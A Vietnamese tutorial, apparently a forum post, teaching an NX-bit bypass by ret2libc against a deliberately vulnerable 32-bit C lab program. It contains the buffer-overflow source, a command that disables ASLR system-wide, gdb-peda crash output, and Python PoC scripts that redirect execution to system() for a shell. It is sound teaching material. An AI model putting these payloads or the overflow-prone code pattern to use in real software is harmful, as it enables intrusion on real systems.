1. No eXecute là gì?
- NX bit (no-execute) là một công nghệ được sử dụng trong các CPU để phân chia các khu vực bộ nhớ, dùng để lưu trữ các lệnh của bộ xử lý (mã lệnh) hoặc lưu trữ dữ liệu. Đây là một tính năng thường chỉ có ở các bộ xử lý có kiến trúc Harvard. Tuy nhiên, NX bit đang ngày càng được sử dụng nhiều hơn trong các bộ xử lý có kiến trúc von Neumannthông thường vì lý do bảo mật.
- Return to library C (ret2libc) và return to system (ret2sys) là các kỹ thuật thường được sử dụng để qua mặt No Execution bit, và đây là những kỹ thuật tôi sẽ sử dụng trong báo cáo này.
2. NX Bypass
2.1. Xây dựng môi trường
Đây là mã nguồn chúng ta sẽ dùng làm ví dụ khai thác:
C:
#include <unistd.h>
int overflow(){
char buf[500];
int userinput;
userinput = read(0, buf, 700);
printf("\nUser provided %d bytes.\nBuffer content is: %s\n", userinput, buf);
return 0;
}
int main(){
overflow();
return 0;
}
Build mã nguồn:
Bash:
gcc vulnerable.c -m32 -fno-stack-protector -o vulnerable
Chắc chắn rằng ASLR đã tắt, để tắt nó chúng ta chạy lệnh sau:
Bash:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Sử dụng checksec để đảm bảo rằng chỉ có Stack Canary bị vô hiệu hóa.

2.2. Phân tích và đánh giá ứng dụng
Trước hết, tôi biết chương trình có kích thước bộ đệm (buffer) là 500, vậy hãy thử làm nó bị lỗi (crash) với bộ đệm 500.
Bash:
python -c 'print("A"*700)' | ./vulnerable

Không có gì xảy ra, vậy hãy thử một kích thước lớn hơn để xem độ dài có gây lỗi không.

Để mở trình gỡ lỗi và kiểm tra chương trình, tôi sẽ sử dụng gdb-peda. Với gdb-peda, tôi có thể dùng tính năng tạo chuỗi mẫu (pattern) để tìm ra chính xác kích thước bộ đệm gây lỗi chương trình. (Bạn cũng có thể sử dụng các công cụ khác như msf-pattern_create và msf-pattern_offset).

2.3. Lấy và kiểm soát địa chỉ trả về
Tạo một chuỗi để xác định vị trí bắt đầu của bộ đệm bằng ký tự 'A'.
Bash:
python -c "print('A'*516+'B'*4)" > input.txt


Sau khi trace, chúng ta tìm được địa chỉ 0xffffd088. Địa chỉ này sẽ địa chỉ retun, vậy nên chúng ta sẽ. viết 1 đoạn script tạo buffer và kèm theo 4 byte của returned address mà chúng ta đã lấy được.
Python:
#!/usr/bin/python2
from struct import pack
payload = ''
payload += 'A'*516
payload += pack('<I', 0xffffd088) # Start of A character
print payload
open('input.txt', 'wb').write(payload)
Chạy tập tin trong gdb và xác định xem chương trình có bị lỗi tại 0x41414141 hay không.
Bash:
gdb-peda$ r < input.txt
Starting program: vulnerable < input.txt
User provided 520 bytes.
Buffer content is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0x0
EDX: 0x1
ESI: 0xf7fa6000 --> 0x1e4d6c
EDI: 0xf7fa6000 --> 0x1e4d6c
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd290 --> 0xf7fa6000 --> 0x1e4d6c
EIP: 0xffffd088 ('A' <repeats 200 times>...)
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0xffffd088: inc ecx
0xffffd089: inc ecx
0xffffd08a: inc ecx
0xffffd08b: inc ecx
[------------------------------------stack-------------------------------------]
0000| 0xffffd290 --> 0xf7fa6000 --> 0x1e4d6c
0004| 0xffffd294 --> 0xf7fa6000 --> 0x1e4d6c
0008| 0xffffd298 --> 0x0
0012| 0xffffd29c --> 0xf7ddfe46 (<__libc_start_main+262>: add esp,0x10)
0016| 0xffffd2a0 --> 0x1
0020| 0xffffd2a4 --> 0xffffd344 --> 0xffffd4b8 ("/home/th3knight/Desktop/learning/shellcoding/ine/DEP/vulnerable")
0024| 0xffffd2a8 --> 0xffffd34c --> 0xffffd4f8 ("SHELL=/bin/bash")
0028| 0xffffd2ac --> 0xffffd2d4 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xffffd088 in ?? ()
The program crashed with 0xffffd088 with no reason. This is because of NX bit is enabled so this will kill when user tried to execute from their inputted data. Re run the debugger, breakpoint at main br *main, and run.
Theo chương 1, lẽ ra chương trình sẽ bị crashed với 0x41414141(AAAA), nhưng ở đây chương trình đã bị crashed ở địa chỉ 0xffffd088. Đây là bởi vì NX bit đã được bật để bảo vệ hệ thống, thế nên nó đã chặn những gì người dùng cố gắng kiểm soát dữ liệu truyền vào. Chạy lại GDB debugger và đặt breakpoint ở hàm main bằng lệnh br *main, sau khi đặt xong, chúng ta chạy chương trình bằng lệnh run
Thường để bypass kỹ thuật No eXecute (NX), chúng ta có kỹ thuật gọi là ret2libc (Return to Library C). Để có thể sử dụng, chúng ta sẽ lấy địa chỉ của các hàm của thư viện C, vì các thư viện này được sử dụng từ hệ điều hành nên sẽ luôn sẵn sàng cho mình gọi đến. Để sử dụng chúng ta build script để exploit program này theo cấu trúc sau:
- Buffer_size + Execution_function_address + Return_address + Arguments_address
Bash:
print system
print exit

2.4 Proof of Concept (PoC)
Dưới đây là script PoC để exploit của tôi:
Python:
#!/usr/bin/python2
from struct import pack
payload = ''
payload += 'A'*516
payload += pack('<I', 0xf7e06000) # System_func address @@ exec_function
payload += pack('<I', 0xf7df8950) # Exit_func address @@ ret_func
payload += pack('<I', 0xf7f4d338) # Arguments address
print payload

Tuy nhiên, sau khi executed xong, chương trình không bị trả về segmentation fault nữa mà exit một cách bình thường. Bởi vì khi thực thi, không có session nào để handle stdin và stdout nên chương trình thực thi xong sẽ tự kết thúc. Để dùng handling stdin, stdout chúng ta có thể dùng cat để handle nó bằng lệnh sau:
- (./exploit.py ; cat) | ./vulnerable

3. Nguồn tham khảo:
- https://en.wikipedia.org/wiki/NX_bit- https://www.howtogeek.com/435903/what-are-stdin-stdout-and-stderr-on-linux/
- https://www.tutorialspoint.com/c_standard_library/c_function_exit.htm
- https://www.tutorialspoint.com/c_standard_library/c_function_system.htm
- https://github.com/7heKnight/7heknight.pwn/tree/main/INE/Linux Exploit Development/Data Execution Prevention (DEP)/No_eXecute-bypassing
Bài viết liên quan
Được quan tâm
Bài viết mới